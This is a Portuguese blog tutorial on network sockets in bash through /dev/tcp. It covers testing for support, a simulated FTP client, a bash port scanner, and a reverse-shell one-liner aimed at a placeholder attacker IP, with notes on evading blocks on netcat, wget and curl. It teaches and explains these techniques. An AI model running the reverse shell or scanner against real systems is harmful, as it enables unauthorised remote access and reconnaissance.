Sockets No Bash

Introdução

Além das várias peculiaridades fornecidas pelo bash, ele permite também a programação em rede, isto é, o bash pode ser usado para realizar conexões com outros computadores sem o uso de programas externos, como netcat.

Hoje iremos aprender como manipular sockets no bash e também como usar essa particularidade para realizar conexões reversas e port scan.

Seu bash suporta sockets?

Muito se discute se é mesmo necessário o bash fornecer essa interface para o uso de sockets já que há diversas aplicações que realizam essa tarefa, como o conhecido netcat. Outra questão relevante é em relação a segurança: esse tipo de característica pode ser usada para subverter um sistema aonde programas como netcat, socat, weget e curl são bloqueados por padrão. Administradores de sistemas bloqueiam o uso dessas aplicações pois elas podem ser nocivas ao sistema, mas acabam esquecendo dessa característica do bash que permite um funcionamento similar ao desses programas bloqueados.

Diante disso, muitas distribuições compilam o bash sem o suporte a essa característica. A distribuição mais notável que não suporta o uso de sockets no bash é a Debian (e provavelmente as derivadas). O motivo pode ser resumido nas linhas abaixo escritas por um desenvolvedor dessa distribuição:

“It can produce completely unexpected results. This kind of
feature should not be part of a shell but a special tool. And
that tool has existed for years already, it’s called netcat.”

A distribuição Red Hat, como muitas de suas derivadas (ex: Fedora) habilitam o uso de sockets no bash por padrão. Se você não tem certeza se esse tipo de característica está inclusa em seu interpretador, utilize o procedimento abaixo para fazer uma verificação:

1) Abra uma porta

$ nc -l 2525

2) Envie uma mensagem para o nc usando o bash

$ echo teste > /dev/tcp/localhost/2525

Se o nc retornar a palavra teste então seu sistema suporta o uso de sockets no bash.

O /dev/tcp

Da referência do bash temos [1]:

/dev/tcp/host/port
    If host is a valid hostname or Internet address, and port is an
integer port number or service name, Bash attempts to open a TCP connection
to the corresponding socket.

Isto é: se indicarmos um host (pelo IP ou domain name) e uma porta válida, fazemos uma conexão nesse host na porta especificada. Podemos trocar TCP por UDP para uma transmissão sem conexão.

Lembre que o bash só faz o papel de cliente, que é de se conectar em alguém, por isso não podemos usá-lo para a criação de servidores.

Envio e recebimento de dados

Usando os operadores de redirecionamento (ex: ‘<‘ e ‘>’) realizamos o envio e recebimento de dados de uma conexão. O operador ‘<‘ é usado para recebimento e o ‘>’ para envio de dados.

Recebimento

# terminal 1
$ cat /etc/passwd | nc -l 2525
# terminal 2
$ cat < /dev/tcp/localhost/2525
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

Envio

# terminal 1
$ nc -l 2525 | head -n 10
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
# terminal 2
$ cat /etc/passwd > /dev/tcp/localhost/2525

Envio & Recebimento

Para cada redirecionamento que você faz para /dev/tcp/host/port em comandos separados, uma nova conexão é feita. Isso é, se você enviar algo e logo em seguida realizar uma leitura, os dados não virão, porque a conexão anterior, assim como os dados a serem enviados, foram perdidos. Um modo de realizar operações de envio e recebimento ao mesmo tempo é usando o exec para manipular os redirecionamentos [4]. Com isso, podemos ler e enviar dados numa mesma conexão.

#!/bin/bash
# [simulaftp.sh]
# Simula um cliente ftp
#

# Info do host
HOST='127.0.0.1'
PORT='21'

# Credenciais
USER='daemonio'
PASS='minhasenha'

# Cria uma conexao
# OBS: O uso do "<>" é obrigatório para
# associar o fd "3" ao recebimento
# e envio de dados
exec 3<>/dev/tcp/${HOST}/${PORT}

# Lê o banner
read <&3

echo "[+] Conectado a: " $REPLY

# Envia o usuário
echo "USER $USER" >&3
read <&3

# Envia a senha
echo "PASS $PASS" >&3
read <&3

if ! [[ $REPLY =~ ^230 ]]
then
    echo '[+] Impossivel conectar. Confira seu usuario e senha.'
    exit 1
fi

# A partir daqui podemos enviar qualquer
# comando FTP. Irei enviar um PWD somente
# para teste.
echo 'PWD' >&3 ; read <&3

echo '[+] Saida do comando PWD'
echo "$REPLY"

Executando:

$ ./simulaftp.sh
[+] Conectado a:  220 fedora FTP server (Version wu-2.6.0(4) Thu Mar 8 18:26:02 BRT 2012) ready.
[+] Saida do comando PWD
257 "/home/daemonio" is current directory.

OBS: Usei essa versão antiga do wu-ftpd somente para testes.

No script acima, associamos uma conexão ao descritor 3 em:

exec 3<>/dev/tcp/localhost/21

Com isso enviamos dados para o servidor usando “>&3” e recebemos os dados usando “<&3” (podemos usar a opção -u do read também). Os dados recebidos ficam na variável $REPLY, preenchida pelo comando read.

Outros exemplos

1) Port scan [2]

Para criar um port scan, iteramos em uma lista de portas e tentamos nos conectar em cada uma. Aquela que não retornar “Connection refused” presumimos que esteja aberta.

#!/bin/bash
# [portscan.sh]
# Scaneia portas em um servidor
#

# Info do host
HOST='127.0.0.1'

# Porta mínima
MIN=21

# Porta máxima
MAX=2000

# Armazena as portas abertas
FILE=/tmp/open.txt

port=$MIN

# Bash trava. Não sei o motivo ;(
# exec 2<&-   # Fecha stderr

while [ $port -le $MAX ]
do
    echo teste > /dev/tcp/${HOST}/${port}
    [ "$?" = "0" ] && echo ${port} está aberta. >> $FILE

    let port++
done

Executando:

$ ./portscan.sh
<...>
<...>
<...>
$ cat /tmp/open.txt ; rm -f /tmp/open.txt
21 esta aberta.
22 esta aberta.
25 esta aberta.
111 esta aberta.
631 esta aberta.

2) Backdoor / Reverse Shell

A ideia aqui é se conectar em uma máquina qualquer, ler os comandos enviados por ela e retornar a saída também por essa conexão. Esse truque imita perfeitamente o uso do netcat para reverse shell, como também a sequência “dup2; dup2; dup2; execve” usada em diversas backdoors escritas em C.

$ bash -i > /dev/tcp/<ip_do_atacante>/<porta> 0<&1 2>&1

Entendendo:

bash -i > /dev/tcp/<ip_do_atacante>/<porta>

Abre um shell interativo. A saída (stdout) desse shell é associada à conexão (socket) do atacante. Qualquer dado escrito em stdout pelo shell irá para o atacante.

0<&1 2&>1

Para entender esses redirecionamentos, basta lembrar quais operações são feitas em cada um dos arquivos descritores padrões: stdin, stdout e stderr.  Em stdin é sempre realizada uma operação de leitura, então para onde stdin “aponta” será o lugar onde os dados serão lidos. Ao associar stdin a stdout, a leitura da entrada padrão implicará na leitura do socket da conexão com o atacante e com isso os comandos digitados por ele servirão de entrada para o shell interativo.

Por fim, ao fazermos 2&>1 associamos stderr a stdout. Como stdout aponta para o socket do atacante, qualquer tentativa de escrita na saída de erro por parte do shell interativo enviará os dados para o atacante.

3) Shellcode

Em [5], o autor usa dessa característica do bash para criar uma shellcode com a intenção de obter uma conexão reversa. Veja as referências para mais detalhes.

Conclusão

A possibilidade de se realizar conexões pelo bash é bastante interessante para diversos tipos de casos, principalmente quando não temos acesso a programas que realizam conexões externas. Porém esse tipo de característica pode se tornar uma dor de cabeça para alguns administradores de sistemas, porque alguns atacantes podem utilizá-la para realizar conexões reversas e download de arquivos quando programas como netcat, wget e curl estão bloqueados no sistema.

Referências

[1] Bash socket programming with /dev/tcp by Dave Smith (Acessado em: Março/2012)
http://thesmithfam.org/blog/2006/05/23/bash-socket-programming-with-devtcp-2/

[2] /dev/tcp as a weapon (Acessado em: Março/2012)
http://securityreliks.wordpress.com/2010/08/20/devtcp-as-a-weapon/

[3] /dev from Advanced Bash-Scripting Guide, capítulo 29. /dev and /procNext (Acessado em: Março/2012)
http://tldp.org/LDP/abs/html/devref1.html

[4] Manipulando Arquivos Descritores No Shell by Daemonio (Acessado em: Março/2012)
https://daemoniolabs.wordpress.com/2012/02/24/manipulando-arquivos-descritores-no-shell/

[5] x86-34 buffer overflow exploits and the borrowed code chunks exploitation technique by Sebastian Krahmer (Acessado em: Março/2012)
http://www.suse.de/~krahmer/no-nx.pdf

Deixe um comentário